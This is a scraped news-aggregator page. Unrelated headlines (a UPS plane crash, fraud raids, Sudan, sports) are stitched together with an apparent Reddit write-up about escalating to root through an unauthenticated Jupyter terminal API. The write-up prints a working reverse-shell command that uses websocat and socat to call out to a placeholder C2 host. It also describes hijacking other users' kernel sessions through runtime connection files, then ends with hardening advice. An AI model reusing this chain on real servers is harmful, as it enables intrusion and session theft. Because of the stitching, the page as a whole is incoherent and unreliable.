UPS plane crashes in Kentucky, injuries reported
Latest News Latest News https://www.channelnewsasia.com/ CySecBot CySecBot
More results...
Latest News Latest News https://www.channelnewsasia.com/ CySecBot CySecBot
The crash reportedly involved a plane from UPS, which uses the airport as a hub
German police said on Tuesday they had conducted an internationally co-ordinated action against alleged fraud and money laundering networks that compromised German payment service providers and racked up damages of hundreds of millions of euros.
Paramilitary Rapid Support Forces collecting bodies after deadly takeover of North Darfur capital, US researcher says.
View election results for the 2025 Washington state election below. Key races include Seattle mayor, city attorney and King County executive. Plus, there are seats on city and county councils and the Seattle…
Police are responding to reports of a plane crash near Louisville International Airport.
Bayern Munich held off a late rally to beat Paris Saint-Germain 2-1 on Tuesday night to maintain their 100 percent record in the Champions League group stages and inflict a first defeat on the defending champions.
This is not a vulnerability in Jupyter. This is a code execution feature working as designed. When Jupyter is properly configured with token authentication (the default), this technique wouldn’t work. The issue comes about when administrators disable security features and run Jupyter with elevated privileges—a dangerous combination on a shared machine.
For those unfamiliar, Jupyter is the Swiss Army knife of data science—a web-based environment where researchers and analysts write code, visualize data, and document their findings all in one place. It’s code execution as a service, basically.
My first instinct was to check if the Jupyter server was accessible
It was. The API was responding, and even better—no authentication token required. This meant the server was either running with --NotebookApp.token='' or I was accessing it from a trusted network. Either way, Christmas came early.
Here’s where things got a little more interesting. Jupyter’s REST API documentation showed an interesting endpoint: /api/terminals. Unlike the kernel API (which executes Python code), the terminal API provides actual shell access. And I could create a terminal session fairly easily.
But there’s a catch. Terminals in Jupyter communicate over WebSocket, not HTTP. Traditional tools like curl or nc wouldn’t work. I needed something that could speak WebSocket from the command line.
After some research, I discovered websocat—essentially netcat for WebSockets. It’s a binary that bridges the gap between command-line tools and WebSocket services. Perfect for situations like this.
With websocat in hand, I could now interact with Jupyter’s terminal WebSocket, but it wasn’t immediately obvious how to send commands from there terminal. The Jupyter Client WebSocket documentation on WebSocket protocols provides some details about how messages are passed between kernels and the Jupyter web application. And the Terminado client’s websocket implementation outlines the format needed to interact with Jupyter.
So when you connect to a Jupyter terminal via WebSocket, you’re not getting a raw shell – you’re talking to a protocol handler that expects JSON arrays where the
"stdin", "stdout", "setup", etc.)This lets Jupyter multiplex different data streams (input, output, control messages) over a single WebSocket connection. So sending ["stdin", "command"] is how you talk to Jupyter’s terminal WebSocket protocol.
And when you connect, it seems to take a second to initialize the WebSocket connection, and it wouldn’t immediately take my commands, so the elegant solution is to sleep. And so, echoing a command like this:
UID 0? Of course, the Jupyter server was running as root, and the terminal API was giving me a root shell. No sudo required, no privilege escalation needed—just ask nicely and receive.
With root access through the terminal, I could now read Jupyter’s runtime files:
These kernel connection files contained:
With these, I could connect directly to any running notebook kernel and execute code in other users’ sessions. Session hijacking for data science.
For easier interaction, I established a proper reverse shell:
$ (sleep 1; echo '["stdin", "socat exec:\\"bash -li\\",pty,stderr,setsid,sigint,sane tcp:my.c2.server:4444 &\\n"]'; sleep 1; echo '["stdin", "exit\\n"]') | ./websocat "ws://localhost:8888/terminals/websocket/1"
Now I had a fully interactive root shell, running through Jupyter’s own process. To any monitoring system, this might look like legitimate Jupyter activity.
This isn’t a vulnerability in Jupyter—it’s a deployment anti-pattern.
Together, these created a perfect storm. Any user with local access could escalate to root through Jupyter’s intended functionality.
If you need multi-user Jupyter, use tools designed for it:
Need GPU access without root? Use capabilities:
Map out what users actually need:
If users legitimately need shell access, try isolate it properly.
Jupyter is great for interactive data science. The terminal API is genuinely useful for package installation and environment debugging. But these same features are ripe for abuse if deployed without proper consideration.
Downloading websocat and echoing commands is fine for janky use, but how about a little client to drop into a shell?
Check out jupyter-shell
submitted by /u/ok_bye_now_
[link] [comments]
The attack occurred in North Kordofan, which has seen an increased military buildup as the army and paramilitary forces jockey for control of the country.
Two days before a “major team announcement,” it appears as though PWHL Seattle accidentally leaked its team nickname and logo.